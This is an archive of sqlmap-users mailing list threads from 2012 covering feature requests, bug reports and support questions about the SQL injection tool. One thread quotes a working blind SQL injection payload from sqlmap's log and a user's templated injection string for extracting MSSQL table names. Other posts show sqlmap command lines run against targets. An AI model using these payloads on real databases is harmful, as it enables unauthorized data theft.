>>> http://p.sf.net/sfu/intel-appdev
>>> _______________________________________________
>>> sqlmap-users mailing list
>>> sql...@li...
>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>
>>>
>>
>>
>> ------------------------------------------------------------------------------
>> Write once. Port to many.
>> Get the SDK and tools to simplify cross-platform app development. Create
>> new or port existing apps to sell to consumers worldwide. Explore the
>> Intel AppUpSM program developer opportunity. appdeveloper.intel.com/join
>> http://p.sf.net/sfu/intel-appdev
>> _______________________________________________
>> sqlmap-users mailing list
>> sql...@li...
>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>
>>
> ------------------------------------------------------------------------------
> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
> infrastructure or vast IT resources to deliver seamless, secure access to
> virtual desktops. With this all-in-one solution, easily deploy virtual
> desktops for less than the cost of PCs and save 60% on VDI infrastructure
> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
>
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>

Re: [sqlmap-users] Feature Request

[Hans W. <wur...@go...>]

Hello everyone,

Whats with --predict-output ??
Maybe you could use that.

Cheers

Am 11.01.2012 um 09:09 schrieb Miroslav Stampar <mir...@gm...
>:

Hi guys.

This would be implemented long time ago only if Python wasn't such really
bad about interrupting it's processes. Sadly, you can 'pause' (interrupt)
them only by Ctrl+C. Now, I can put this there, but it will be clumsy at
least.

If you have other ideas how to deal with this problem, please tell

Kind regards,
Miroslav Stampar
On Jan 10, 2012 5:50 PM, "Chris Oakley" <chr...@gm...>
wrote:

> I'm sure that there are higher priorities than this, but I have to add
> that this would be useful for me too.  As an example, on a recent test I
> was grabbing the banner of the DBMS as a quick POC for a client.
>
> The banner was as follows:
>
> Banner:
> ---
> Microsoft SQL Server  2000 - 8.00.2055 (Intel X86)
>     Dec 16 2008 19:46:53
>     Copyright (c) 1988-2003 Microsoft Corporation
>     Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
> ---
>
> This was a time based blind injection, so each of the above characters
> took an average of 20 seconds to retrieve.  It's perfectly obvious what the
> "Microsoft Corporation" part is going to be, for example.  When each
> character takes many queries with wait commands to retrieve, this can be
> quite heavy on the DBMS.
>
> Not a huge deal, but if this feature made it into a future release, I
> certainly wouldn't complain.
>
> Regards
>
> Chris
>
> On 10 January 2012 16:42, ryan cartner <rya...@gm...> wrote:
>
>> Not sure how difficult this would be to implement, or whether or not
>> anyone elses workflow would benefit from it, but I thought I'd throw it out
>> there.
>>
>> When sqlmap is retrieving characters for a string, it's often obvious
>> what the string is long before sqlmap retrieves it all. Would be nice if I
>> could stop it, submit a guess, and have sqlmap test that before continuing
>> on.
>>
>> I imagine this would be kinda tough with threads but I haven't
>> familiarized myself wtih the code enough to know.
>>
>>
>> ------------------------------------------------------------------------------
>> Write once. Port to many.
>> Get the SDK and tools to simplify cross-platform app development. Create
>> new or port existing apps to sell to consumers worldwide. Explore the
>> Intel AppUpSM program developer opportunity. appdeveloper.intel.com/join
>> http://p.sf.net/sfu/intel-appdev
>> _______________________________________________
>> sqlmap-users mailing list
>> sql...@li...
>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>
>>
>
>
> ------------------------------------------------------------------------------
> Write once. Port to many.
> Get the SDK and tools to simplify cross-platform app development. Create
> new or port existing apps to sell to consumers worldwide. Explore the
> Intel AppUpSM program developer opportunity. appdeveloper.intel.com/join
> http://p.sf.net/sfu/intel-appdev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>
------------------------------------------------------------------------------
Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
infrastructure or vast IT resources to deliver seamless, secure access to
virtual desktops. With this all-in-one solution, easily deploy virtual
desktops for less than the cost of PCs and save 60% on VDI infrastructure
costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox

_______________________________________________
sqlmap-users mailing list
sql...@li...
https://lists.sourceforge.net/lists/listinfo/sqlmap-users

Re: [sqlmap-users] Feature Request

[Miroslav S. <mir...@gm...>]

Hi guys.

This would be implemented long time ago only if Python wasn't such really
bad about interrupting it's processes. Sadly, you can 'pause' (interrupt)
them only by Ctrl+C. Now, I can put this there, but it will be clumsy at
least.

If you have other ideas how to deal with this problem, please tell

Kind regards,
Miroslav Stampar
On Jan 10, 2012 5:50 PM, "Chris Oakley" <chr...@gm...>
wrote:

> I'm sure that there are higher priorities than this, but I have to add
> that this would be useful for me too.  As an example, on a recent test I
> was grabbing the banner of the DBMS as a quick POC for a client.
>
> The banner was as follows:
>
> Banner:
> ---
> Microsoft SQL Server  2000 - 8.00.2055 (Intel X86)
>     Dec 16 2008 19:46:53
>     Copyright (c) 1988-2003 Microsoft Corporation
>     Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
> ---
>
> This was a time based blind injection, so each of the above characters
> took an average of 20 seconds to retrieve.  It's perfectly obvious what the
> "Microsoft Corporation" part is going to be, for example.  When each
> character takes many queries with wait commands to retrieve, this can be
> quite heavy on the DBMS.
>
> Not a huge deal, but if this feature made it into a future release, I
> certainly wouldn't complain.
>
> Regards
>
> Chris
>
> On 10 January 2012 16:42, ryan cartner <rya...@gm...> wrote:
>
>> Not sure how difficult this would be to implement, or whether or not
>> anyone elses workflow would benefit from it, but I thought I'd throw it out
>> there.
>>
>> When sqlmap is retrieving characters for a string, it's often obvious
>> what the string is long before sqlmap retrieves it all. Would be nice if I
>> could stop it, submit a guess, and have sqlmap test that before continuing
>> on.
>>
>> I imagine this would be kinda tough with threads but I haven't
>> familiarized myself wtih the code enough to know.
>>
>>
>> ------------------------------------------------------------------------------
>> Write once. Port to many.
>> Get the SDK and tools to simplify cross-platform app development. Create
>> new or port existing apps to sell to consumers worldwide. Explore the
>> Intel AppUpSM program developer opportunity. appdeveloper.intel.com/join
>> http://p.sf.net/sfu/intel-appdev
>> _______________________________________________
>> sqlmap-users mailing list
>> sql...@li...
>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>
>>
>
>
> ------------------------------------------------------------------------------
> Write once. Port to many.
> Get the SDK and tools to simplify cross-platform app development. Create
> new or port existing apps to sell to consumers worldwide. Explore the
> Intel AppUpSM program developer opportunity. appdeveloper.intel.com/join
> http://p.sf.net/sfu/intel-appdev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>

Re: [sqlmap-users] Feature Request

[Chris O. <chr...@gm...>]

I'm sure that there are higher priorities than this, but I have to add that
this would be useful for me too.  As an example, on a recent test I was
grabbing the banner of the DBMS as a quick POC for a client.

The banner was as follows:

Banner:
---
Microsoft SQL Server  2000 - 8.00.2055 (Intel X86)
    Dec 16 2008 19:46:53
    Copyright (c) 1988-2003 Microsoft Corporation
    Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
---

This was a time based blind injection, so each of the above characters took
an average of 20 seconds to retrieve.  It's perfectly obvious what the
"Microsoft Corporation" part is going to be, for example.  When each
character takes many queries with wait commands to retrieve, this can be
quite heavy on the DBMS.

Not a huge deal, but if this feature made it into a future release, I
certainly wouldn't complain.

Regards

Chris

On 10 January 2012 16:42, ryan cartner <rya...@gm...> wrote:

> Not sure how difficult this would be to implement, or whether or not
> anyone elses workflow would benefit from it, but I thought I'd throw it out
> there.
>
> When sqlmap is retrieving characters for a string, it's often obvious what
> the string is long before sqlmap retrieves it all. Would be nice if I could
> stop it, submit a guess, and have sqlmap test that before continuing on.
>
> I imagine this would be kinda tough with threads but I haven't
> familiarized myself wtih the code enough to know.
>
>
> ------------------------------------------------------------------------------
> Write once. Port to many.
> Get the SDK and tools to simplify cross-platform app development. Create
> new or port existing apps to sell to consumers worldwide. Explore the
> Intel AppUpSM program developer opportunity. appdeveloper.intel.com/join
> http://p.sf.net/sfu/intel-appdev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>

[sqlmap-users] Feature Request

[ryan c. <rya...@gm...>]

Not sure how difficult this would be to implement, or whether or not anyone
elses workflow would benefit from it, but I thought I'd throw it out there.

When sqlmap is retrieving characters for a string, it's often obvious what
the string is long before sqlmap retrieves it all. Would be nice if I could
stop it, submit a guess, and have sqlmap test that before continuing on.

I imagine this would be kinda tough with threads but I haven't familiarized
myself wtih the code enough to know.

Re: [sqlmap-users] Can't dump tables from an mssql server

[Miroslav S. <mir...@gm...>]

Hi Cats.

This should be implemented this moment (as a backup plan if normal
retrieval of table names fails for whatever (read: privileges) reason)

Kind regards,
Miroslav Stampar

On Wed, Jan 4, 2012 at 12:50 PM, Miroslav Stampar <
mir...@gm...> wrote:

> Hi Cats.
>
> Please, wait for day or two and you'll hopefully be able to use sqlmap in
> that case too.
>
> Kind regards,
> Miroslav Stampar
>
>
> On Mon, Jan 2, 2012 at 8:01 PM, cats <du...@al...> wrote:
>
>> I can dump users and databases, but not the tables in any database.
>>
>> Here's some output from sqlmap:
>>
>> Revision: 4643
>>
>> [18:58:04] [INFO] the back-end DBMS is Microsoft SQL Server
>> web server operating system: Windows Vista
>> web application technology: ASP.NET, Microsoft IIS 7.0
>> back-end DBMS: Microsoft SQL Server 2008
>>
>> [18:58:04] [INFO] fetching tables for database: productcatalog
>> [18:58:04] [INFO] fetching number of tables for database
>> 'productcatalog'
>> [18:58:04] [PAYLOAD] 99047' AND ASCII(SUBSTRING((SELECT
>> ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM
>> eservice_productcatalog..sysobjects WHERE xtype IN
>> (CHAR(117),CHAR(118))),1,1)) > 51 AND 'cfIC'='cfIC
>> [18:58:05] [DEBUG] reflective value found and filtered out
>>
>> It just goes on like this and simply spits out a "retrieved" which is
>> empty, and it will continue doing so until it has reached the length of
>> the current table. Thus the result will be something like:
>>
>> dbo.""
>> dbo.""
>> dbo.""
>>
>> ...and so on
>>
>> I wrote a Perl script that could successfully extract the tables from my
>> database, using the following injection string.
>>
>> Clean version of the injection:
>>
>> AND (
>> CASE
>> WHEN SUBSTRING((
>> SELECT TOP 1 TABLE_NAME FROM (
>> SELECT TOP ' . $i . ' TABLE_NAME FROM
>> INFORMATION_SCHEMA.TABLES WHERE TABLE_CATALOG=\'' . $dbname . '\'
>> ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC),' . $nc .
>> ',1)=char(' . ord(substr($chars,$c,1)) . ') THEN 1 ELSE 2 END)=\'1
>>
>> So the important part is "SELECT TABLE_NAME FROM
>> INFORMATION_SCHEMA.TABLES", as "SELECT name FROM dbname..sysobjects
>> WHERE xtype = 'U'" Doesn't seem to work for me.
>>
>> Has anyone else had this issue?
>> Am I doing something wrong, or is this a bug in sqlmap?
>> Or maybe it's the configuration on my mssql server?
>>
>> Anyway, advice is welcome :-)
>>
>> Cheers!
>>
>>
>>
>> ------------------------------------------------------------------------------
>> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
>> infrastructure or vast IT resources to deliver seamless, secure access to
>> virtual desktops. With this all-in-one solution, easily deploy virtual
>> desktops for less than the cost of PCs and save 60% on VDI infrastructure
>> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
>> _______________________________________________
>> sqlmap-users mailing list
>> sql...@li...
>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>
>
>
>
> --
> Miroslav Stampar
> http://about.me/stamparm
>



-- 
Miroslav Stampar
http://about.me/stamparm

Re: [sqlmap-users] Found Bug in 1.0-dev (r4662)

[Miroslav S. <mir...@gm...>]

Hi Nightman.

Just two questions. Is this the whole error message (it just says that
error occurred in runThreads), have you just pressed enter there and is
this reproducible?

Kind regards,
Miroslav Stampar

On Mon, Jan 9, 2012 at 6:53 PM, <nig...@em...> wrote:

>
> [*] starting at 18:37:11
>
> [18:37:11] [INFO] fetched random HTTP User-Agent header from file
> 'C:\test\sqlmap\txt\user-agents.txt': Opera/9.22 (X11; Linux i686; U; de)
> [18:37:11] [INFO] starting crawler
> [18:37:11] [INFO] searching for links with depth 1
> sqlmap got a 302 redirect to 'http://*************'. What do you want to
> do?
> [1] Follow the redirection (default)
> [2] Stay on the original page
> [3] Ignore
> >
> [18:37:32] [ERROR] thread MainThread: unhandled exception in
> sqlmap/1.0-dev (r4662), retry your run with the latest development version
> from the Subversion repository. If the exception persists, pleas
> e send by e-mail to sql...@li... the following text
> and any information requir
> ed to reproduce the bug. The developers will try to reproduce the bug, fix
> it accordingly and get ba
> ck to you.
> sqlmap version: 1.0-dev (r4662)
> Python version: 2.6.7
> Operating system: nt
> Command line: C:\test\sqlmap\sqlmap.py -u *************
> ******************************************** --crawl=8 --threads=6
> --random-agent --retries=6 --leve
> l 5 --risk 3 -f -b --dbms=mysql
> Technique: None
> Back-end DBMS: MySQL (identified)
> Traceback (most recent call last):
>   File "C:\test\sqlmap\lib\core\threads.py", line 123,
> in runThreads
>     threadFunction()
> [18:37:32] [WARNING] user aborted during crawling. sqlmap will use partial
> list
> [18:37:32] [WARNING] no usable links found (with GET parameters)
>
> [*] shutting down at 18:37:32
>
>
> ------------------------------------------------------------------------------
> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
> infrastructure or vast IT resources to deliver seamless, secure access to
> virtual desktops. With this all-in-one solution, easily deploy virtual
> desktops for less than the cost of PCs and save 60% on VDI infrastructure
> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>



-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] Found Bug in 1.0-dev (r4662)

[<nig...@em...>]

[*] starting at 18:37:11

[18:37:11] [INFO] fetched random HTTP User-Agent header from file 'C:\test\sqlmap\txt\user-agents.txt': Opera/9.22 (X11; Linux i686; U; de)
[18:37:11] [INFO] starting crawler
[18:37:11] [INFO] searching for links with depth 1
sqlmap got a 302 redirect to 'http://*************'. What do you want to do?
[1] Follow the redirection (default)
[2] Stay on the original page
[3] Ignore
>
[18:37:32] [ERROR] thread MainThread: unhandled exception in sqlmap/1.0-dev (r4662), retry your run with the latest development version from the Subversion repository. If the exception persists, pleas
e send by e-mail to sql...@li... the following text and any information requir
ed to reproduce the bug. The developers will try to reproduce the bug, fix it accordingly and get ba
ck to you.
sqlmap version: 1.0-dev (r4662)
Python version: 2.6.7
Operating system: nt
Command line: C:\test\sqlmap\sqlmap.py -u *************
******************************************** --crawl=8 --threads=6 --random-agent --retries=6 --leve
l 5 --risk 3 -f -b --dbms=mysql
Technique: None
Back-end DBMS: MySQL (identified)
Traceback (most recent call last):
  File "C:\test\sqlmap\lib\core\threads.py", line 123,
in runThreads
    threadFunction()
[18:37:32] [WARNING] user aborted during crawling. sqlmap will use partial list
[18:37:32] [WARNING] no usable links found (with GET parameters)

[*] shutting down at 18:37:32

Re: [sqlmap-users] Multiple Database - No Database Specified - Using current database

[Miroslav S. <mir...@gm...>]

Hi Matt.

I've just tried this:

python sqlmap.py -u.... --search -C user,pass

and it went through all databases. Which revision do you use?

Kind regards,
Miroslav Stampar

On Thu, Jan 5, 2012 at 11:35 PM, Matt Storey <ma...@su...> wrote:

> Hi,
>
> During December it appears that something has changed (from my perspective
> at least) with SQLmap. Before it was possible to issue a --dbs --tables
> --columns during a pentest and SQLMAP would list all databases, columns and
> tables. However since upgrading to the new revision it appears that it is
> not possible to dump columns or perform searches outside of the current
> database..
>
> Typically for the search i use to specify --search -C user,pass and SQLMap
> would happily go off and search all databases now the same command only
> searches the current database.
>
> [22:35:20] [WARNING] missing database parameter, sqlmap is going to use
> the current database to enumerate table(s) columns
> [22:35:20] [INFO] fetching current database
>
> Thanks, M
>
>
> ------------------------------------------------------------------------------
> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
> infrastructure or vast IT resources to deliver seamless, secure access to
> virtual desktops. With this all-in-one solution, easily deploy virtual
> desktops for less than the cost of PCs and save 60% on VDI infrastructure
> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm